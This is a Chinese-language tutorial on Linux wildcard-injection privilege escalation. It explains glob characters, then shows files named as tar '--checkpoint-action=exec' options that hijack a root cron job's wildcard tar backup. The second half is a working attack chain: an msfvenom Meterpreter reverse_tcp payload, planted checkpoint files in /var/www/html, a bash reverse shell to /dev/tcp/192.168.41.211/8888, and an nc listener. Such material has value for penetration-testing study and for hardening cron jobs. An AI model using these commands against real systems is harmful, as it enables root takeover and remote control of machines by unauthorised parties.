利用通配符(WS)进行提权
利用通配符(WS)进行提权原理
接下来介绍一个非常有趣而又古老的技术通配符注入提权
首先先看下什么是通配符
在LINUX中通配符可以被用来模糊匹配,而且通配符的输入是由当前用户的shell去进行解析
* 代表任意数量的字符
? 字符代表单个字符
[] 匹配中括号中的任意单一字符 可以使用连字符-表示范围,比如[0-9]
我们在当前的目录创建几个文本,1.txt,2.txt,3.txt
接下来使用通配符去查看文件 ls ?.txt
可以查到 一个字符后面加.txt的文件
我们在当前目录在创建几个文件,a.txt,ab.txt,abc.txt
然后使用?进行匹配,可以看到?可以匹配单个字符
使用*进行匹配,代表任意的多个字符
使用ls [0-9].txt,匹配0-9数字的txt
[...]
匹配方括号之中的任意一个字符
接下来看一下什么是Wildcard wildness简称WS
我们先创建3个文件
echo "1" > file1
echo "2" >file2
echo "3" > --help
接下来查看文件里面的内容,发现文件1和文件2都可以查看,但是–help查看不了,直接调出了–help的命令,这种类型的技巧称为Wildcard wildness。
这时如果我们执行 ls * 那么就会执行 ls --help
如何利用这一点进行提权呢?大家和思考一下
如果有的命令的参数中可以去执行linux命令,我们进行劫持,达到提权的目的,我们以tar命令为例子
tar命令是Linux中的压缩命令,可以对文件进行压缩
tar -czf html.tgz 1.html #将文件1.html文件压缩成html.tgz
也可以使用通配符进行压缩
tar -czf html.tgz *.html #将文件所有html文件压缩成html.tgz
在tar中有执行linux命令的参数如下
tar -czf 1.tgz 1.html --checkpoint=1 --checkpoint-action=exec=whoami
可以对后面的命令进行劫持 ,只需要要编写一个这样的参数文件就行可以了
echo " " > --checkpoint=1
echo " " > --checkpoint-action=exec=whoami
接着运行 tar -czf html.tgz *
提权准备
一般都有备份网站的习惯,那么运维人员或管理员填写了备份文件的计划任务任务,如果滥用了通配符,就可能导致提权
*/1 * * * * root tar -cvf /var/html.tgz /var/www/html/ *
提权实战
首先上线MSF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f elf > mshell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.41.211
set lport 8888
run
查看计划任务,发现有滥用通配符的,并且是root权限,可以进行提权
cat /etc/crontab
在/var/www/html下创建两个文件如下
echo " " > /var/www/html/--checkpoint=1
echo " " > /var/www/html/--checkpoint-action=exec='bash shell.sh'
echo "bash -i >& /dev/tcp/192.168.41.211/8888 0>&1" >> /var/www/html/shell.sh
使用NC进行监听,等待sh脚本被执行,连接NC
nc -lvvp 8888